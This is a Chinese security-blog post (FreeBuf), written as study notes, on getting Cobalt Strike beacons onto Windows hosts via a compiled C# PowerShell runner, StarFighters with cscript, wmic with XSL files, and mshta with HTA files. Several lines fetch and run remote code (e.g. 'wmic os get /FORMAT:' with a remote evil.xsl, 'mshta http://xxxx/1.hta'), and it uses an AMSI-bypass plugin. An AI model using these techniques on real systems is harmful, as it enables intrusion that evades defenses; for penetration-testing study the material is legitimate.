freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透学习|利用mshta与wmic上线cs
2024-11-08 16:44:29
所属地 广东省

1、powershell被禁用执行ps文件上线cs

1.1、适用场景

上线ps文件后,powershell被禁用

1.2、利用条件

csc.exe:windows10自带,开启方式参考:https://blog.csdn.net/qq_36090938/article/details/100513156。为了使用方便,可以设置环境变量。

1.3、使用过程

1、保存以下代码为*.cs文件。

using System.Collections.ObjectModel; 
using System.Management.Automation; 
using System.Management.Automation.Runspaces; 
using System.IO;
using System;
using System.Text;
namespace PSLess
{
 class PSLess
 {
   static void Main(string[] args)
   {
     if(args.Length ==0)
         Environment.Exit(1); //终止此进程并返回给操作系统错误代码1。
     string script=LoadScript(args[0]);//接收命令行的第一个参数。并传输到LoadScript函数中,将函数的返回值保存到script。
     string s=RunScript(script);//执行script脚本并将返回值赋给s。
     Console.WriteLine(s);//输出命令结果s。
   }
 private static string LoadScript(string filename) 
 { 
   string buffer ="";
   try {
    buffer = File.ReadAllText(filename);//打开文件并读取文件中的所有文本并存储到buffer中然后关闭文件。
    }
   catch (Exception e) //catch块做异常处理
   { 
     Console.WriteLine(e.Message);
     Environment.Exit(2);//终止进程并抛出错误代码2给操作系统。
    }
  return buffer;//将buffer的值作为此函数的返回值。
 }
 private static string RunScript(string script) 
 { 
    Runspace MyRunspace = RunspaceFactory.CreateRunspace();//创建一个runspace类,可以通过这个类来解析powershell脚本
    MyRunspace.Open();//执行powershell脚本前必须执行此函数
    Pipeline MyPipeline = MyRunspace.CreatePipeline(); //创建可以用来执行命令的管道类
    MyPipeline.Commands.AddScript(script);//添加一个新的脚本命令
    MyPipeline.Commands.Add("Out-String");//将执行命令后返回的对象转换为字符串数组,不加这一行的话返回值有时候会很奇怪,例如ls命令的返回值会有变化。
    Collection<PSObject> outputs = MyPipeline.Invoke();//执行命令,然后将结果转化为对象数组并返回
    MyRunspace.Close();//关闭runspace
   StringBuilder sb = new StringBuilder(); //这个类可以存储可变的字符串
   foreach (PSObject pobject in outputs) //遍历outputs
   { 
       sb.AppendLine(pobject.ToString()); //将outputs里面所有的值转化为字符串类型并添加到sb对象的结尾。
   }
    return sb.ToString();//将sb里面的值转化为string类型并作为函数的返回值。 
  }
 }
}

2、找到System.Management.Automation.dll文件位置。默认位置:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e3

1731054029_672dc9cd35aecc0eae9ca.png!small?1731054030464

3、找到*.cs的文件夹,执行命令:

csc.exe /reference:C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll /out:1.exe 1.cs

1731054037_672dc9d584ff2996887c6.png!small?1731054037971

1731054047_672dc9dfcdc45621ec9f6.png!small?1731054048463


4、创建*.ps1文件,并编辑内容如下:

1731054054_672dc9e66b0cda4cb998a.png!small?1731054055415

1731054064_672dc9f00707469de5244.png!small?1731054065373


2、cscript执行命令上线cs

2.1、适用场景

目标机器拥有cscript命令执行权限。

2.2、利用条件

StarFighters、cscript(windows自带)、base64加密方法

2.3、使用过程

1、访问:https://github.com/Cn33liz/StarFighters下载StarFighters文件。

1731054091_672dca0be23f20b91c35b.png!small?1731054093521

2、创建ps文件,对需要执行的命令进行base64编码。加密代码如下:

$code = '所需执行的命令'
$bytes  = [System.Text.Encoding]::UNICODE.GetBytes($code);
$encoded = [System.Convert]::ToBase64String($bytes)
$encoded


3、执行ps命令,获取编码值,如下:

1731054207_672dca7f6937a9c3ed895.png!small?1731054208690

4、修改StarFighter.js中的EncodedPayload参数,把编码值填入。

1731054215_672dca87bd50012ea7789.png!small?1731054216770

5、使用cscript执行文件,即可执行命令。但是该文件会被部分杀软识别。

1731054222_672dca8e4d137b8851c14.png!small?1731054222795

1731054232_672dca9876f1cbc10c053.png!small

3、vmic上线cs

3.1、适用场景

目标允许出网,且可执行vmic命令。

3.2、利用条件

vmic、CS、AMSI_bypass-master

3.3、使用过程

1、wmic可以配合xsl文件执行任意命令,以下分别对应本地、远程执行的方式。

#Local File
wmic process list /FORMAT:evil.xsl
#Remote File
wmic os get /FORMAT:"https://example.com/evil.xsl"

测试文档*.xsl

<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]> </ms:script>
</stylesheet>

2、测试结果

本地:

1731054301_672dcadd02b0bf067539b.png!small?1731054316918

远程:

1731054310_672dcae603865ec9c5661.png!small?1731054316918

3、cs插件AMSI_bypass:https://github.com/Ridter/AMSI_bypass,下载插件后,添加至cs客户端。

1731054326_672dcaf6afb1ed734743c.png!small?1731054328484

4、点击攻击——AMSI bypass即可进入操作界面。

1731054525_672dcbbd2d0892053bd8e.png!small?1731054527424

5、无需点击hta,点击开始即可弹出攻击命令。

1731054557_672dcbddaf142a1ff5b36.png!small?1731054558450

1731054564_672dcbe4786d3f13be446.png!small?1731054566409


6、执行命令,即可上线。

1731054570_672dcbeaa3111d03566e7.png!small

4、mshta上线cs

4.1、适用场景

mshta命令可以执行。

4.2、利用条件

mshta、cs、AMSI_bypass

4.3、使用过程

1、mshta执行命令也分为本地、远程。

#本地命令
mshta %真实路径%/*.hta
#远程命令
mshta http://xxxx/1.hta

测试代码:


<html>
<head>
<script language="VBScript">
Sub RunProgram
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "cmd.exe /c ping www.baidu.com"
End Sub
</script>
</head>
<body>
<button onclick="RunProgram">Run Program</button> <p>
</body>
</html>



2、测试情况如下:

本地:

1731054698_672dcc6a26a54405c9a75.png!small?1731054698943

远程:

1731054704_672dcc70eabf3e098f1f3.png!small?1731054705627

3、使用攻击——AMSI bypass进入攻击模块,勾选hta选项。点击确定即可弹出攻击命令。

1731054712_672dcc780ecc20e925e16.png!small?1731054713762

1731054721_672dcc8194845f91d8a42.png!small?1731054723147


4、在服务器执行命令即可上线。

1731054729_672dcc8933c10b9022aa1.png!small?1731054730663

参考链接:

https://shanfenglan.blog.csdn.net/article/details/108529739

https://evi1cg.me/archives/AMSI_bypass.html

https://www.cnblogs.com/pt007/p/11857274.html

https://blog.csdn.net/weixin_30368405/article/details/114492164

https://blog.csdn.net/qq_27828281/article/details/103628411

https://www.cnblogs.com/magic-zero/p/8615624.html

https://www.cnblogs.com/linuxsec/articles/10589183.html

# 系统安全 # 内网渗透
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录